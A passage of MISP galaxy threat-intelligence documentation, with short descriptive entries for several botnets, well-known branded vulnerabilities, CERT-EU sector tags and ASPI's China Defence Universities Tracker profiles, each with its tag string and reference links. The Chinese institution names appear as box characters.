Triada is a trojan for Android devices. Triada's primary function is to record text messages. For example, it intercepts in-app purchases via text message and redirects payments made. Triada downloads other malware from a server and runs these programs.

The tag is: *misp-galaxy:botnet="Triada"*

Triada is also known as:

- APK. Triada

Table 825. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Trinoo

Trinoo is a set of computer programs to conduct a DDoS attack. It is believed that trinoo networks have been set up on thousands of systems on the Internet that have been compromised by remote buffer overrun exploits.

The tag is: *misp-galaxy:botnet="Trinoo"*

Trinoo is also known as:

- trin00

Table 826. Table References

Links
https://en.wikipedia.org/wiki/Trinoo

Zemra

Zemra is a DDoS Bot which was first discovered in underground forums in May 2012. Zemra is capable of HTTP and SYN Flood flooding and also has a simple Command & Control panel that is protected with 256-bit DES encryption for communicating with its command and control (C&C) server. Zemra also sends information such as Computer name, Language settings, and Windows

version. It will send this data to a remote location on a specific date and time. It also opens a backdoor on TCP port 7710 to receive commands from a remote command-and-control server, and it is able to monitor devices, collect system information, execute files, and even update or uninstall itself if necessary.

The tag is: *misp-galaxy:botnet="Zemra"*

Table 827. Table References

Links
https://en.wikipedia.org/wiki/Zemra

Ztorg

Ztorg is a trojan for Android devices. Its functions include unauthorised user tracking, stealing passwords, the silent installation of additional applications without the user's permission, and the collection of data on the mobile phone, such as its location and contacts. Ztorg is a piece of malware that opens a backdoor to an infected device. Through this backdoor, the attacker can gain access to the system and perform other actions. The malware is capable of a wide range of attack types, from information theft to downloading other malware.

The tag is: *misp-galaxy:botnet="Ztorg"*

Table 828. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze_node.html

Quad7

The tag is: *misp-galaxy:botnet="Quad7"*

Quad7 is also known as:

- 7777

Table 829. Table References

Links
https://www.team-cymru.com/post/botnet-7777-are-you-betting-on-a-compromised-router
https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd

63256 botnet

The tag is: *misp-galaxy:botnet="63256 botnet"*

Table 830. Table References

Links
https://www.team-cymru.com/post/botnet-7777-are-you-betting-on-a-compromised-router

BadBox

According to BitSight, BADBOX is a large-scale cybercriminal operation selling off-brand Android TV boxes, smartphones, and other Android electronics with preinstalled malware.

The tag is: *misp-galaxy:botnet="BadBox"*

View relationships graph

BadBox has relationships with:

- similar: misp-galaxy:malpedia="BADBOX" with estimative-language:likelihood-probability="likely"

Table 831. Table References

Links
https://www.humansecurity.com/learn/blog/satori-threat-intelligence-disruption-badbox-2-0/
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badbox

Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

Branded Vulnerability is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.

The tag is: *misp-galaxy:branded-vulnerability="Meltdown"*

Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

The tag is: *misp-galaxy:branded-vulnerability="Spectre"*

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.

The tag is: *misp-galaxy:branded-vulnerability="Heartbleed"*

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

The tag is: *misp-galaxy:branded-vulnerability="Shellshock"*

Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.

The tag is: *misp-galaxy:branded-vulnerability="Ghost"*

Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and

newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn't have to do anything to 'accept' the bug, it happens in the background. The phone number is the only target information.

The tag is: *misp-galaxy:branded-vulnerability="Stagefright"*

Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: *misp-galaxy:branded-vulnerability="Badlock"*

Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: *misp-galaxy:branded-vulnerability="Dirty COW"*

POODLE

The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014"). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: *misp-galaxy:branded-vulnerability="POODLE"*

BadUSB

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: *misp-galaxy:branded-vulnerability="BadUSB"*

ImageTragick

The tag is: *misp-galaxy:branded-vulnerability="ImageTragick"*

Blacknurse

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: *misp-galaxy:branded-vulnerability="Blacknurse"*

SPOILER

SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.

The tag is: *misp-galaxy:branded-vulnerability="SPOILER"*

Table 832. Table References

Links
https://arxiv.org/pdf/1903.00446v1.pdf
https://appleinsider.com/articles/19/03/05/new-spoiler-vulnerability-in-all-intel-core-processors-exposed-by-researchers
https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert-_intel_cpus_impacted_by_new_vulnerability/1
https://www.1e.com/news-insights/blogs/the-spoiler-vulnerability/
https://www.bleepingcomputer.com/news/security/amd-believes-spoiler-vulnerability-does-not-impact-its-processors/

BlueKeep

A ‘wormable’ critical Remote Code Execution (RCE) vulnerability in Remote Desktop Services that could soon become the new go-to vector for spreading malware

The tag is: *misp-galaxy:branded-vulnerability="BlueKeep"*

Table 833. Table References

Links
https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/

Cert EU GovSector

Cert EU GovSector.

Cert EU GovSector is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Constituency

The tag is: *misp-galaxy:cert-eu-govsector="Constituency"*

EU-Centric

The tag is: *misp-galaxy:cert-eu-govsector="EU-Centric"*

EU-nearby

The tag is: *misp-galaxy:cert-eu-govsector="EU-nearby"*

World-class

The tag is: *misp-galaxy:cert-eu-govsector="World-class"*

Unknown

The tag is: *misp-galaxy:cert-eu-govsector="Unknown"*

Outside World

The tag is: *misp-galaxy:cert-eu-govsector="Outside World"*

China Defence Universities Tracker

The China Defence Universities Tracker is a database of Chinese institutions engaged in military or security-related science and technology research. It was created by ASPI's International Cyber Policy Centre..

> China Defence Universities Tracker is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Australian Strategic Policy Institute

Academy of Military Science (□□□□□□□□□□□□)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS's reorganisation, Xi urged the AMS to construct a 'world-class military scientific research institution.' Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

The tag is: *misp-galaxy:china-defence-universities="Academy of Military Science (□□□□□□□□□□□□)"*

Table 834. Table References

Links
https://unitracker.aspi.org.au/universities/academy-of-military-science

Aero Engine Corporation of China (□□□□□□□□□□□□□)

AECC is a leading producer of aircraft parts for the People's Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC.AECC's main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene.AECC was established in order to improve China's capability in developing domestically built aircraft engines as part of the 'Made in China 2025' program. A priority is strengthening its supply chains within China. Though

indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

The tag is: *misp-galaxy:china-defence-universities="Aero Engine Corporation of China (□□□□□□□□□□□□□□)"*

Table 835. Table References

Links
https://unitracker.aspi.org.au/universities/aero-engine-corporation-of-china

Air Force Command College (□□□□□□□□□□□□□□)

The PLA Air Force Command College in Beijing is considered the PLA Air Force's 'peak institution for educating mid-rank and senior officers' for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People's Republic in 1958.The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college's other specialties include battlefield command, military operations as well as political–ideological education.

The tag is: *misp-galaxy:china-defence-universities="Air Force Command College (□□□□□□□□□□□□□□)"*

Table 836. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-command-college

Air Force Communication NCO Academy (□□□□□□□□□□□□□□□□)

The Air Force Communications Officers Academy is the PLA's premier institution for the training of non-commissioned officers in communications systems and security. Established in 1986 as the Dalian Communications NCO College, the institution was renamed after Xi Jinping's military reforms in 2017. The academy's areas of research include command automation and satellite communications, along with wired and wireless communications.

The tag is: *misp-galaxy:china-defence-universities="Air Force Communication NCO Academy (□□□□□□□□□□□□□□□□)"*

Table 837. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-communications-officers-college

Air Force Early Warning Academy (□□□□□□□□□□□□□□)

The Air Force Early Warning Academy is ‘an institution that trains military personnel from the PLA Air Force and Navy’s radar and electronic warfare units in command, engineering and technology’ that was established after the amalgamation of the Air Defence Academy and Radar College in 1958. As such, the Air Force Early Warning Academy focuses its research on radar engineering, information command systems engineering, networked command engineering, and early warning detection systems.

The tag is: *misp-galaxy:china-defence-universities="Air Force Early Warning Academy (□□□□□□□□□□□□□□)"*

Table 838. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-early-warning-academy

Air Force Engineering University (□□□□□□□□□□□□□□)

The Air Force Engineering University (AFEU) is one of the PLA’s five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat.AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China’s Ministry of Education ranked AFEU equal fourth for armament science out of nine universities, only awarding it a B- grade for the discipline.Colleges under AFEU include:

The tag is: *misp-galaxy:china-defence-universities="Air Force Engineering University (□□□□□□□□□□□□□□)"*

Table 839. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-engineering-university

Air Force Flight Academy Shijiazhuang (□□□□□□□□□)

Air Force Flight Academy Shijiazhuang (□□□□□□□□□)

The tag is: *misp-galaxy:china-defence-universities="Air Force Flight Academy Shijiazhuang (□□□□□□□□□)"*

Table 840. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-flight-academy-shijiazhuang

Air Force Harbin Flight Academy (□□□□□□□□□□)

The Academy is home to the Air Force Harbin Flight Academy Simulation Training Center, 2,500m2 large-scale aircraft simulator where students can train in simulated transport and bomber aircraft. The Academy hopes to continue developing the Simulation Training Center into a ‘laboratory for air operations,’ including advanced trainings like simulated tactical confrontations.

The tag is: *misp-galaxy:china-defence-universities="Air Force Harbin Flight Academy (□□□□□□□□□□)"*

Table 841. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-harbin-flight-academy

Air Force Logistics University (□□□□□□□□□□□□□□)

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focusses its research on ‘management engineering’ for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

The tag is: *misp-galaxy:china-defence-universities="Air Force Logistics University (□□□□□□□□□□□□□□)"*

Table 842. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-logistics-university

Air Force Medical University (□□□□□□□□□□□□□□)

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA’s premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping’s military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research.The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university’s scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

The tag is: *misp-galaxy:china-defence-universities="Air Force Medical University (□□□□□□□□□□□□□□)"*

Table 843. Table References

Links

https://unitracker.aspi.org.au/universities/fourth-military-medical-university

Air Force Research Institute (□□□□□□□□□□□□□)

The Air Force Research Institute is an air force scientific research institute, the successor to the Air Force Equipment Academy (□□□□□□□), that was established in 2017. The institute runs the Key Laboratory of Complex Aviation System Simulation (□□□□□□□□□□□□□□□□) and carries out research on areas such as aircraft design, flight control, guidance and navigation, and electronic countermeasures.

The tag is: *misp-galaxy:china-defence-universities="Air Force Research Institute (□□□□□□□□□□□□□)"*

Table 844. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-research-institute

Air Force Xi'an Flight Academy (□□□□□□□□□□□□□□□□□)

Created upon the merger of the PLA Air Force's Second and Fifth Flight Academies in 2011, the Air Force Xi'an Flight Academy specialises in training airmen in aviation while passing on the PLA's 'revolutionary traditions'. It remains 'one of the Air Force's three advanced institutions in air combat, and is known to train the PLA Air Force's JJ-7 fighter pilots. Given this focus on training, the institution engages in little scientific research.

The tag is: *misp-galaxy:china-defence-universities="Air Force Xi'an Flight Academy (□□□□□□□□□□□□□□□□□)"*

Table 845. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-xian-flight-academy

Anhui University (□□□□)

Anhui University is overseen by the Anhui Provincial Government. In January 2019, defence industry agency SASTIND and the Anhui Provincial Government signed an agreement to jointly develop Anhui University. This agreement with SASTIND suggests that the university will increase its role in defense research in the future.

The tag is: *misp-galaxy:china-defence-universities="Anhui University (□□□□)"*

Table 846. Table References

Links
https://unitracker.aspi.org.au/universities/anhui-university

Army Academy of Armored Forces (□□□□□□□□□□□□□□□)

The Army Academy of the Armored Forces is China's lead institute responsible for training and research for armoured combat. This includes a focus on tank warfare, mechanised artillery and infantry operations. The academy offers training in 'armored combat command, surveillance and intelligence, operational tactics' as well as in engineering disciplines relevant to operations involving the PLA Ground Force's armoured corps, such as materials science, mechanical engineering, electrical engineering and automation, communications engineering, weapons systems engineering and photoelectric information science.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Armored Forces (□□□□□□□□□□□□□□□)"*

Table 847. Table References

Links
https://unitracker.aspi.org.au/universities/army-academy-of-armored-forces

Army Academy of Artillery and Air Defense (□□□□□□□□□□□□□□□□□)

The Army Academy of Artillery and Air Defense is an institution devoted to training artillery and air defence officers in the PLA Ground Force. Its areas of focus include electrical engineering and automation, munitions engineering and explosives technology, radar engineering, and missile engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Artillery and Air Defense (□□□□□□□□□□□□□□□□□)"*

Table 848. Table References

Links
https://unitracker.aspi.org.au/universities/army-academy-of-artillery-and-air-defense

Army Academy of Border and Coastal Defense (□□□□□□□□□□□□□□)

With a history dating back to 1941, the Army Academy of Border and Coastal Defense is the only institution of higher education devoted to training PLA Ground Force personnel in border and coastal defence operations. Its subjects of focus include firepower command and control engineering, and command information systems engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Border and Coastal Defense (□□□□□□□□□□□□□□)"*

Table 849. Table References

Links
https://unitracker.aspi.org.au/universities/army-academy-of-border-and-coastal-defense

Army Aviation College (□□□□□□□□□□□□□□□□)

The Army Aviation College is the PLA's institution responsible for training mid-career helicopter pilots from the PLA Air Force and aviation officers from the PLA Ground Force. The college's subject areas include aircraft and engine design, aviation communications and air defence systems, flight radar maintenance engineering, and combat aircraft maintenance engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Aviation College (□□□□□□□□□□□□□□□□)"*

Table 850. Table References

Links
https://unitracker.aspi.org.au/universities/army-aviation-college

Army Engineering University (□□□□□□□□□□□□□□□)

The Army Engineering University was established in 2017 following the abolition of the PLA University of Science and Technology. The university is devoted to research on 'engineering, technology and combat command systems' for the PLA Land Force.The university's areas of research include:

The tag is: *misp-galaxy:china-defence-universities="Army Engineering University (□□□□□□□□□□□□□□□)"*

Table 851. Table References

Links
https://unitracker.aspi.org.au/universities/army-engineering-university

Army Infantry Academy (□□□□□□□□□□□□□□□)

The Army Infantry Academy is a higher education institution in China devoted to providing elementary training in command for infantry soldiers in the PLA Ground Force. The academy teaches courses in operational disciplines such as command information systems engineering, armored vehicles engineering and weapons systems engineering. As well as providing formal teaching, the Army Infantry Academy also provides oversight for training exercises and electronic warfare simulations.

The tag is: *misp-galaxy:china-defence-universities="Army Infantry Academy (□□□□□□□□□□□□□□□)"*

Table 852. Table References

Links
https://unitracker.aspi.org.au/universities/army-infantry-academy

Army Medical University (□□□□□□□□□□□□□□)

The PLA Army Medical University, formerly known as the Third Military Medical University, is a medical education university affiliated with the PLA Ground Force. It was formed in 2017 through a merger with the PLA Western Theater Command Urumqi Comprehensive Training Base's Military Medical Training Brigade and the Tibet Military Region's Eighth Hospital. The Army Medical University includes six national key laboratories and 32 Ministry of Education or military key laboratories. It has won military awards for science and technology progress and seven national science and technology prizes.

The tag is: *misp-galaxy:china-defence-universities="Army Medical University (□□□□□□□□□□□□□□)"*

Table 853. Table References

Links
https://unitracker.aspi.org.au/universities/army-medical-university

Army Military Transportation Academy (□□□□□□□□□□□□□□□□)

The Army Military Transport Academy is a higher education institution devoted to training PLA Ground Force personnel in military transport and logistics. The academy focusses on military transport command engineering, command and automation engineering, ordnance engineering, and armament sustainment command.

The tag is: *misp-galaxy:china-defence-universities="Army Military Transportation Academy (□□□□□□□□□□□□□□□□)"*

Table 854. Table References

Links
https://unitracker.aspi.org.au/universities/army-military-transportation-academy-2

Army Research Institute (□□□□□□□□□□□□□)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China's civilian universities in areas such as advanced manufacturing and automatic control, and laser technology.The Army Research Institute collaborates with civilian companies as part of China's military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (□□□□□□□□□□) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called 'Research, Development and Commerialisation of Advanced Off-road Passenger Vehicles' (□□□□□□□□□□□□□□□□□□□□□□). The project included research into vehicles such as the

BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

The tag is: *misp-galaxy:china-defence-universities="Army Research Institute (□□□□□□□□□□□□)"*

Table 855. Table References

Links
https://unitracker.aspi.org.au/universities/army-research-institute

Army Service Academy (□□□□□□□□□□□□□)

The Army Service Academy is an institution of higher education in the PLA devoted to training personnel in a variety of logistics disciplines. The logistics disciplines taught at the academy include: fuel logistics, military facility management, military procurement management, and integrated logistics management. Its areas of focus for defence research include military energy engineering, defence engineering, and management science and engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Service Academy (□□□□□□□□□□□□□)"*

Table 856. Table References

Links
https://unitracker.aspi.org.au/universities/army-service-academy

Army Special Operations Academy (□□□□□□□□□□□□□□□)

The academy's key subjects include special operations command, surveillance and intelligence, and command information systems engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Special Operations Academy (□□□□□□□□□□□□□□□)"*

Table 857. Table References

Links
https://unitracker.aspi.org.au/universities/army-special-operations-academy

Aviation Industry Corporation of China (□□□□□□□□□□□□□)

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC's main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management.The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website.AVIC is the PLA Air Force's largest supplier of military aircraft, producing fighter jets, strike aircraft,

unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC's subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF's J-20 stealth fighter jet.

The tag is: *misp-galaxy:china-defence-universities="Aviation Industry Corporation of China (□□□□□□□□□□□□)"*

Table 858. Table References

Links
https://unitracker.aspi.org.au/universities/aviation-industry-corporation-of-china

Aviation University of Air Force (□□□□□□□□□□□□□)

AUAF is one of China's main institutions devoted to the training of air force pilots. Its areas of focus are training in flight command and research into aeronautical engineering. Disciplines taught at AUAF include command science and engineering, aerospace science and technology as well as political work and military command.AUAF scientists publish and attend conferences on radar technology and electronic countermeasures. For example, scientists from AUAF's Information Countermeasures Division co-authored a publication on radar target recognition with a researcher from the PLA's Unit 94936 – an aviation unit stationed in Hangzhou. AUAF scientists have also done notable work on complex systems radar and signal pre-sorting.

The tag is: *misp-galaxy:china-defence-universities="Aviation University of Air Force (□□□□□□□□□□□□□)"*

Table 859. Table References

Links
https://unitracker.aspi.org.au/universities/aviation-university-of-air-force

Beihang University (□□□□□□□□)

Beihang University engages in very high levels of defence research as one of the 'Seven Sons of National Defence' subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector.Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology.Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.

The tag is: *misp-galaxy:china-defence-universities="Beihang University (□□□□□□□□)"*

Table 860. Table References

Links
https://unitracker.aspi.org.au/universities/beihang-university

Beijing Electronic Science and Technology Institute (□□□□□□□□□)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary's most trusted aides. It oversees China's cryptographic and state secrets agency as well as security for the party's leadership.BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in 'illegal organisations' is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates.BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master's programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity.The university runs the Key Laboratory of Information Security (□□□□□□□□□/□□□□□□□□□□□□). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

The tag is: *misp-galaxy:china-defence-universities="Beijing Electronic Science and Technology Institute (□□□□□□□□□)"*

Table 861. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-electronic-science-and-technology-institute

Beijing Institute of Technology (□□□□□□)

BIT is one of the 'Seven Sons of National Defence' supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China's Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country's top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China's universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector.BIT's claimed achievements include producing the PRC's first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including "precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures". In 2018, BIT

announced that it was running a four-year experimental program training some of China's top high school students in intelligent weapons systems.BIT is the chair of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□□), a group of eight Chinese research institutions that specialize in weapons science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (□□).BIT's central role in advancing PLA warfighting capability is demonstrated by the fact that it participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

The tag is: *misp-galaxy:china-defence-universities="Beijing Institute of Technology (□□□□□□)"*

Table 862. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-institute-of-technology

Beijing University of Chemical Technology (□□□□□□)

BUCT is subordinate to the Ministry of Education. The university engages in high levels of defence research. In 2016, the Ministry of Education and defence industry agency SASTIND agreed to jointly construct BUCT, a move designed to expand its involvement in defence research.Between 2011 and 2015, the university's spending on defence research reached RMB272 million (AUD56 million), approximately 15% of the university's research spending and an increase of around 50% over the previous five years.BUCT specialises in the development and application of critical materials for the defence industry. Its research on carbon fibres has been applied to the aerospace industry.BUCT holds secret-level security credentials, allowing it to participate in classified defence and weapons technology projects.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Chemical Technology (□□□□□□)"*

Table 863. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-university-of-chemical-technology

Beijing University of Posts and Telecommunications (□□□□□□)

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research.The School of Cyberspace Security is home to one of the university's two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks.BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major

employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China's security and intelligence agencies.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Posts and Telecommunications (□□□□□□)"*

Table 864. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-university-of-posts-and-telecommunications

Central South University (□□□□)

